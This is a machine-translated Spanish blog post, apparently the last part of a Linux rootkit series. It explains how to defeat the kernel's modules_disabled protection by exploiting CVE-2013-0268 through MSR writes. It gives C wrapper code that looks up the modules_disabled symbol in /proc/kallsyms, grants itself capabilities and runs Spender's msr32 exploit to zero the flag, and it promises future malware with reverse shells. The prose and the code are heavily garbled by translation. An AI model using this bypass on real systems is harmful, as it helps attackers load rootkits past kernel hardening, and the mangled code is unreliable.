Escritura Linux Rootkits 301

modernos Linux Rootkits 301 – Sin pasar por la seguridad modules_disabled

Tyler Borland (TurboBorland)


Omisión Módulo Cargando Restricción

Ahora que el esqueleto rootkit está terminado, ¿qué sucede si el sistema emplea la seguridad para desactivar la carga de nuevos módulos en tiempo de ejecución? Este post será excusively en pasar por el mecanismo de seguridad de Linux que hace exactamente esto. Vamos a dwelve de cómo funciona esto y, al final, desactivar el mecanismo de seguridad. Por supuesto, esto se hará para los sistemas modernos y se hará código disponible al final.

modules_disabled

Varios desarrolladores de Linux terminar diciendo que los mecanismos de seguridad particulares no fueron pensadas para la seguridad. Si bien esto puede ser verdad, no le quita el hecho de que están siendo utilizados para la seguridad. Antes de 2.6.25, había un conjunto de capacidades requerido CAP_SYS_MODULES que se eliminó para todos los usuarios, incluyendo la raíz. Este fue el mecanismo para desactivar la carga de módulos. Sin embargo, con los cambios en las capacidades, esto ya no funcionaba y que se necesitaba una nueva solución. modules_disabled es la nueva solución predeterminada para esto. modules_disabled es una bandera sysctl se encuentra en / proc / sys / kernel / modules_disabled que deshabilitar la carga o descarga del módulo en tiempo de ejecución. Teniendo en cuenta el código de comprometerse por escrito por Kees Cook, podemos ver cómo este valor booleano funciona de la manera más simplista:

  
kernel / module.c:
3127 int estática may_init_module (void)

3128 {3129 if (capaz (CAP_SYS_MODULE) | | modules_disabled!)
3130 retorno EPERM;
3131
3132 return 0;}
3133

... 3343 SYSCALL_DEFINE3 (init_module, nula __ usuario *, umod,
3344 unsigned long, len, const char * __ usuario, uargs)
3345 {
3346 int err;
3347 struct load_info info = {};
3348
3349 err = may_init_module ();
3350 if (err)
3351 retorno err;

Como se puede ver, la llamada al sistema para inicializar los módulos (y otras llamadas al sistema como delete_module / finit_module /) comprobará los valores de estos booleanos antes de permitir módulos que se trabajaron con. Entonces, ¿cómo hacemos para solucionar este problema? Al principio, traté de buscar en otros estilos ofmodule carga no dependen de estas llamadas al sistema, pero sólo parece que se utilizará en el arranque o con cosas que no tengo control sobre los datos que pasan a partir de espacio de usuario. Así que seguí mirando a su alrededor.

Desactivación modules_disabled

Si bien podemos escribir fácilmente un 1 a / proc / sys / kernel / modules_disabled, escribiendo un 0 a la misma es un completo otra historia. Como se ve en kernel / systctl.c, sólo podemos transición de la nada a una:.

  Small;"> style="font-size: 619 procname = "modules_disabled", 
620. datos = & modules_disabled,
621. maxlen = sizeof (int),
622 el modo. = 0644,
623 / * sólo manejar una transición de forma predeterminada "" a "1" * /
624. proc_handler = proc_dointvec_minmax,
625. extra1 = & uno,
626. Extra2 = & uno,

... 2120 struct do_proc_dointvec_minmax_conv_param param = {
2121 min = (int *) Tabla-> extra1,
2122 max = (int *) Tabla-> Extra2,
2123..};

Porque no podemos simplemente escribir con facilidad a la sysctl más, ¿cómo desactivamos esta bandera? Bueno, ya que sólo impide la carga de módulos en tiempo de ejecución, se puede entrar en un proceso de arranque y obtener nuestro módulo de carga (que también forma predeterminada voltea el valor booleano de nuevo a personas con discapacidad). Sin embargo, en general, no vamos a tener la capacidad para sólo tienes que reiniciar el servidor. Así que esa opción está fuera de la cuestión. También existe la explotación cada vez más popular de un controlador de dispositivo ya está cargado con algún tipo de escritura primitiva. Necesitamos opciones mejores y más fáciles para el tiempo de ejecución.

Si usted lee la lista de correo del kernel Linux tanto como sea posible, lo que se debe, si este tipo de cosas le interesa, entonces usted tendría que leer el 9 de septiembre de 2013, Mathew Garrett intentó asegurar múltiple memoria arbitraria escribe que, posiblemente, puede desactivar la integridad de seguridad de arranque seguro. Él describe 12 diferentes métodos interesantes que se pueden utilizar para tratar esto. La cadena de correo electrónico se encuentra en https://lkml.org/lkml/2013/9/9/532 y describe estos métodos:.

1) [PATCH 01/12] Añadir securelevel estilo BSD .. apoyo
2) [PATCH 12/02] Hacer cumplir las firmas módulo
3) [PATCH 3.12] PCI:. Bloquee el acceso BAR
4) [PATCH 12/04] x86 :. Bloquee el acceso al puerto IO
5) [PATCH 5.12] Restringir / dev / mem y / dev / kmem
6) [PATCH 6.12] acpi:. Limitar el acceso a custom_method
7) [PATCH 12/07] acpi:. Ignorar acpi_rsdp parámetro del kernel
8) [PATCH 8.12] kexec:. Desactivar en tiempo de ejecución
9) [PATCH 9.12] uswsusp: . Deshabilitar
10) [PATCH 10/12] 86: Restringir el acceso MSR
11) [PATCH 11/12] asus-WMI:.. Restringir debugfs interfaz
12) [PATCH 12 / 12] Añada la opción de establecer automáticamente securelevel />
O por supuesto, todas estas opciones no son exactamente relevante y muchos de ellos ya están fijados en la mayoría de los granos, pero todavía está bueno para saber con futuro interés. Me gustaría tomar el tiempo para hablar con estos puntos y ver cómo podemos sacar provecho de ellas.

Dejemos inmediatamente 1, 2 y 12. Éstas se centran alrededor de la plataforma de arranque de seguridad y la garantía de los otros mecanismos de protección están en juego y que los módulos del núcleo firmados se cumplan. No estamos preocupados por esto. También podemos colocar el número 3 como que tiene que lidiar con DMA usado por el hardware. Si bien esta es una buena opción para el acceso físico (a menos que se establecen otros mecanismos de seguridad), queremos centrarnos en una ruta remota. También vamos a caer asus-WMI, ya que es una medida proactiva de posibles problemas futuros con teclas de acceso rápido de Asus.

Después de todo eso, todavía estamos quedamos con 7 opciones interesantes que ver.

[PATCH 12/04] x86: Bloquee el acceso al puerto IO

«acceso al puerto IO sería permitir a los usuarios obtener acceso a los registros de configuración PCI , que a su vez (en una gran cantidad de hardware) dan acceso a MMIO espacio registradora. Todo ello puede permitir que la raíz para activar DMA arbitraria, de modo que encaje abajo cuando securelevel se establece. »

Este parche añade controles de seguridad en torno a las funciones iopl / ioperm syscalls y read_port / write_port. La amenaza aquí es que el hardware específico que tiene acceso DMA puede comunicarse con a través de estas llamadas al sistema y funciones. La amenaza es si el hardware dará acceso a MMIO (asignado a la memoria de entrada / salida) registros. Esto significaría que la memoria de los dispositivos de E / S se aborda en el mismo bus que la memoria del sistema. Si este es el caso, el usuario root puede utilizar estas piezas de hardware para la memoria del sistema de dirección con una escritura de memoria arbitraria (write_port) a través de DMA (acceso directo a memoria). Debido a que este tiene que tratar con piezas sepcific de hardware, no queremos viajar por este camino. Sin embargo, esto podría ser interesante para los ataques dirigidos.

[PATCH 5.12] Restringir / dev / mem y / dev / kmem

«Permitir que los usuarios escribir en el espacio de direcciones proporciona mecanismos que puede permitir la modificación del kernel en tiempo de ejecución. Prevenir esto si securelevel se ha establecido «.

Este fue un mecanismo muy popular para los rootkits en su día. Sin necesidad de cargar un controlador, un rootkit podría ser utilizado por el trato directo con la memoria física con / dev / mem o la memoria virtual con / dev / kmem. Traducciones de direcciones virtuales a traducciones de memoria física era también una tarea muy fácil sustracción. Con el tiempo, los desarrolladores capturados en que no había realmente muchas aplicaciones que actualmente utilizan / dev / mem y / dev / kmem distintos de rootkits. Así que decidieron añadir algunas opciones de configuración que se añadirán por defecto. Estos son CONFIG_STRICT_DEVMEM y CONFIG_DEVKMEM.

CONFIG_STRICT_DEVMEM añade una función de filtro llamado devmem_is_allowed () tanto para la lectura y la escritura / dev / mem y está activada de forma predeterminada. Este busca dos cosas necesarias. La primera es para ver si el acceso es bajo la primera megabyte de memoria. Esto se utiliza para el código del BIOS y los datos utilizados por x11/dosemu y otras aplicaciones legítimas. También permite que los recursos MMIO para hardware específico para trabajar adecuadamente.

Por otra parte, CONFIG_DEVKMEM se establece en «no» de forma predeterminada que inhabilita / dev / kmem. Todavía tiene un dispositivo asociado, pero no se adjunta a la memoria virtual del núcleo de ninguna manera.

[PATCH 6.12] acpi: Limitar el acceso a custom_method

«custom_method permite efectivamente el acceso arbitrario a la memoria del sistema, por lo que es posible que un atacante modificar el kernel en tiempo de ejecución. Prevenir esto si securelevel se ha establecido «.

El custom_method ACPI permitiría utilizar debugfs reescribir un método ACPI existente. Un atacante podría desmontar un método ACPI particular usado por la víctima, reescriba el código de ASL para escribir en la memoria arbitraria, volver a montar el código al código AML, y, finalmente, escribirlo en / sys / kernel / debug / acpi / custom_method. La próxima vez que el método ACPI particular, se dispara, como el cierre de una tapa del portátil, el nuevo método se ejecutaría. Por supuesto, el apoyo custom_method tiempo de ejecución también se ha desactivado en sabores modernos. Esto es controlado por CONFIG_ACPI_CUSTOM_METHOD que no está habilitado efault byd.

[PATCH 12/07] acpi: Ignorar acpi_rsdp parámetro del kernel

«Esta opción permite que el espacio de usuario para pasar la dirección RSDP al kernel, que hace posible que un usuario para ejecutar código arbitrario en el kernel. Deshabilítelo cuando securelevel se establece «.

RSDT es la descripción puntero sistema radicular ACPI. Esto permite a un usuario pasar de una RsdtAddress como parte de la estructura para que apunte al código en el kernel que se puede utilizar para escribir arbitraria. Antes de esto, incluso se puede tomar ventaja de, CONFIG_KEXEC deberá elaborarse en el cual no es normal para el sistema instalado por defecto, ya que sería para un cd en vivo. Hablaremos más sobre la poderosa llamada kexec sistema siguiente.

[PATCH 8.12] kexec: Deshabilitar en tiempo de ejecución

«kexec permite la carga y ejecución de código arbitrario en el anillo 0, lo que permite la modificación del núcleo en ejecución. Prevenir esto si securelevel se ha establecido «.

Esto requiere un poco de entendimiento de lo que es kexec. Kexec le permite cargar y arrancar en otro kernel en tiempo de ejecución del núcleo en ejecución actual. Esto permite que los cambios que deben introducirse en el núcleo y reiniciar el sistema sin llegar a cerrar o volver a inicializar el hardware. Esto permite un estilo ksplice de modificación del kernel. Un nuevo kernel puede arrancarse sin restricciones de seguridad y modificar / reiniciar el kernel antiguo (thusly agitando la bandera booleana si no se aplican los procedimientos de inicio para modules_disabled). Sin embargo, en mi experiencia, no es común a correr a través de dichos sistemas con CONFIG_KEXEC compilados pulg />
Una prueba de concepto fue escrito el 3 de diciembre de 2013 para mover de un tirón sig_enforce utilizando el método kexec. Usted puede leer sobre él en http://mjg59.dreamwidth.org/28746.html

[PATCH 9.12] uswsusp: Desactivar

«uswsusp permite un proceso de usuario para volcar y restaurar el estado del núcleo, lo que permite modificar el núcleo en ejecución. Desactive esta opción securelevel ha establecido.»

Esta es una de las técnicas más interesantes. Un atacante puede hacer una escritura () a / dev / instantáneas y restaurar la instantánea por, ejemplo, al volver de la hibernación. Así es como uswusp (software userspace suspender) funciona. Como no he jugado con este método, no tengo conocimiento de la complejidad o cuestiones que puedan surgir a partir de esto. Me imagino que sería un poco de un procedimiento difícil producir resultados decentes si se necesita un modo de hibernación / suspensión y restauración del sistema antes de que se pueden producir resultados. Puede que sin duda será algo interesante para ver después.

[PATCH 10/12] x86:. Restringir el acceso MSR

«Permitir el acceso de escritura a MSR permite que el espacio de usuario para modificar el núcleo en ejecución Para prevenir esto, si securelevel ha establecido. Sobre la base de un parche por Kees Cook «.

Por último, pero no menos importante, es MSR (Machine registros específicos). Esto es en realidad lo que vamos a estar abusando de eludir modules_disabled. Del MSR son increíblemente potente y disponible en la mayoría de las máquinas (parece que el apoyo de la máquina virtual es una excepción a esta regla).

Máquina registros específicos

A pesar del nombre, Máquina registros específicos no son ‘este modelo cpu sólo’ un estilo único. Hay una gran cantidad de registros de medios de control compatibles y luego algunos, actualmente en fase de pruebas, registros de control de indocumentados. Nos centraremos en los registros de control público muy apoyados en la CPU de. Puede encontrar una lista de admitidos y conocidos públicamente de MSR en http://cbid.softnology.biz/html/pubmsrs.html.

Algunas de las más interesantes incluyen el control de los registros generales. Estos incluyen sysenter_cs, sysenter_esp y sysenter_eip. Si pudiéramos controlar sysenter_eip y gestionar nuestra propia pila, podríamos ser capaces de ejecutar una escritura 0 en cualquier parte para desactivar modules_disabled. Esto es exactamente lo Spender nos ha dado con una forma en arma de CVE-2013 hasta 0268.

CVE-2013-0268

Spender fue capaz de explotar una condición de carrera entre el momento en el sysenter_eip_msr se escribe con WRMSR a / dev / cpu / 0/msr y cuando se activa una llamada al sistema. Esto nos permite ejecutar código en el contexto de ring0, permitiendo escritura arbitraria completo. Cuando este error fue ‘parcheado’, el único contexto que la gente estaba preocupada por que era un uid 0 usuario con capacidades cayó podrían abusar de esta escalando y ganar más capacidades. Por lo tanto, sólo se añadió un cheque capacidad para SYS_RAW_IO como un parche para el problema. Significado de la carrera está todavía muy abierto para nosotros abusamos (3,11 kernel utilizadas en PoC imagen cerca del fondo) para desactivar el mecanismo de seguridad modules_disabled. Usted puede leer más información sobre este tema en http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=c903f0456bc69176912dee6dd25c6a66ee1aed00.

Usando msr32.c

http://grsecurity.net/ ~ spender/msr32.c

El explotar ya está diseñado para tener un puntero simple de escribir (escribe 0 por defecto). Así que he creado un envoltorio para cuidar de todo para nosotros. En primer lugar, tenemos que ser capaces de recuperar el valor del puntero modules_disabled. Esto se parece a lo que normalmente encontraría al recuperar punteros de símbolos para un kernel exploit. Echemos un vistazo:

  small;"> style="font-size: get_symbol largo sin signo (char * name) {/> 
struct utsname ver;
int ret;
addr largo sin firmar;
tipo char;
caracteres Ruta_completa [256];
caracteres sname [256];
/ * para 2.4 núcleos, uno utilizaría / proc / ksyms y cambiar
* fscanf apoyo Sólo 2.6 + para la simplicidad, además de esto está abusando msr * /
char * kallsym_file = "/ proc / kallsyms";

si {uname />

if ((f = fopen (ruta completa," ERROR r ")
fprintf (stderr,))": No se puede leer cualquier archivo de símbolos n ");
}

while (ret! = EOF) {
fscanf (f, "% p% c% s n", (void **) y addr, y , tipo, sname);
si) {
fclose (f);
if ((void *) ((strcmp (nombre, sname)!) addr == NULL) {
fprintf (stderr, "Dirección nulo, no la raíz real y GRKNERSEC_HIDESYM siendo utilizado");
return -1;
} addr retorno /> }
}

fclose (f);
return -1;}

Este código toma una cadena sencilla (modules_disabled) y busca en uno de los dos archivos. O es el análisis / proc / kallsyms o / boot / System-map-KERNEL_VERSION. Estos archivos suelen ser legible por todos los usuarios en sistemas dados, sin embargo, no parece haber una única rareza que ocurre con / proc / veces kallsyms. Si el usuario no es root verdaderamente, GRKERNSEC_HIDESYM nos dará un puntero nulo. Para obtener más información sobre GRKERNSEC_HIDESYM, lea http://xorl.wordpress.com/2010/11/20/grkernsec_hidesym-hide-kernel-symbols/ o el propio código fuente en grsec.

Ahora, sólo porque somos root / UID 0 no significa que tenemos todas las capacidades. Debería, pero por si acaso he escrito una función simple para validar que tenemos las capacidades necesarias. En realidad, sólo CAP_SYS_NICE y CAP_SYS_RAWIO se necesitan. Agradable para el de condición de carrera victoria y rawio para poder explotar la vulnerabilidad. Sin embargo, me he encontrado de memoria compartida en sistemas extraños y problemas de control de SELinux, así que también he añadido un par de otras capacidades sólo para asegurarse de:

  
int set_cap (void) {
ssize_t y = 0;
cap_t caps = cap_init ();
cap_value_t cap_list [] = {CAP_SYS_RAWIO, CAP_DAC_OVERRIDE, CAP_SYS_NICE, CAP_IPC_LOCK, CAP_IPC_OWNER};

if (setresuid (0,0,0) = 0!) {
fprintf (stderr, "No se puede setresuid (0,0,0)");
retorno - 1;}


if (cap_set_flag (gorras, CAP_PERMITTED, 5, cap_list, CAP_SET) == -1) {
perror ("cap_set_flag (PERMITIDO) error");
cap_free (caps);
return -1;}


si (cap_set_flag (gorras, CAP_EFFECTIVE, 5, cap_list, CAP_SET) == -1) {
perror ("cap_set_flag (efectiva) de error");
cap_free (caps);
return -1;}


si (cap_set_flag (caps , CAP_INHERITABLE, 5, cap_list, CAP_SET) == -1) {
perror ("cap_set_flag (heredable) error");
cap_free (caps);
return -1;
}

if (cap_set_proc (caps) == -1) {
perror ("cap_set_proc ()");
cap_free (caps);
retorno - 1;}


fprintf (stdout, "Proceso de ahora tiene% s n", cap_to_text (gorras, & y));
return 0;

}

Tratamos de asegurar que el proceso es uid 0 y dar los permisos permitidos (se puede tomar), eficaz (tómelos por ahora), y heredable (nuestro llamado proceso de los recibiremos) . Ahora lo único que hay que hacer es realmente llamar msr con el valor que recibimos de get_symbol y todas las capacidades que recibimos de get_cap:

  
int main (void ) {
unsigned long modules_disabled;

/ * de nuevo, necesita libcap-devel para compilar
* No del todo necesario, sólo para la validación * /
if (set_cap ( )) {
fprintf (stderr, "No se pudo establecer capacidades de n");
return -1;}

fprintf (stdout, "[*] Capacidades Set n ");

if ((modules_disabled = get_symbol (" ") {
fprintf (stderr,) Error modules_disabled)": símbolo no se pudo obtener modules_disabled n ");
return -1;}


sin firmar caracteres modules_disabled_str [18]; sprintf />
fprintf (stdout, "[*] modules_disabled ubicado en% s n", modules_disabled_str);
fprintf (stdout, "[*] Lanzamiento escritura sysenter_eip_msr 0 n");

prctl (PR_SET_KEEPCAPS, 1);
execl ("/ home / borrosa / msr", "msr", modules_disabled_str, NULL);

return 0;}

Ahora, hay dos cosas a tener en cuenta con este simple envoltorio. En primer lugar, los msr32.c compilados explotan es realmente la única cosa que se necesita. Por lo tanto si libcap-devel no es en realidad en el sistema de destino, sólo grep modules_disabled / proc / kallsyms o System.map-ver y alimentar a MSR. En segundo lugar, la ruta de acceso está codificado, que tendrá que ser cambiado antes de que puedas ejecutarlo. Usted puede agregar una ruta de análisis para señalar que si quieres, pero me pareció que no hay necesidad de mantener el binario de un tamaño Hashable.

imágenes o GTFO

Conclusión

Esto termina la serie de rootkit. Espero que esto era una serie divertida de pasar. Esto está muy lejos de la cima de la tecnología impresionante puerta trasera. Usted tiene puertas traseras fáciles de firmware como controladores de disco duro, -1 anillos para hipervisores y -2 anillos para SMM que también puede ser jugado con. Esta última parte que debería ayudar a lo largo del camino con ciertas restricciones antes de poder jugar con -2.

Creo que viene voy a empezar una serie de malware escrito para que podamos empezar a construir la funcionalidad de malware y luego añadir la funcionalidad de rootkit para ocultar lo que el malware está haciendo. Se va a involucrar a la comunicación a través de un puerto disponible externamente ya delimitada, paquetes mágicos para los depósitos inversas y cubrimiento completo de nuestra rootkit. Todo esto depende de mi tiempo disponible y que tan bien esta serie actual hace.

Código

Bypass.c (envoltorio msr32.c)
msr32.c impresionante código de explotación por Spender

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *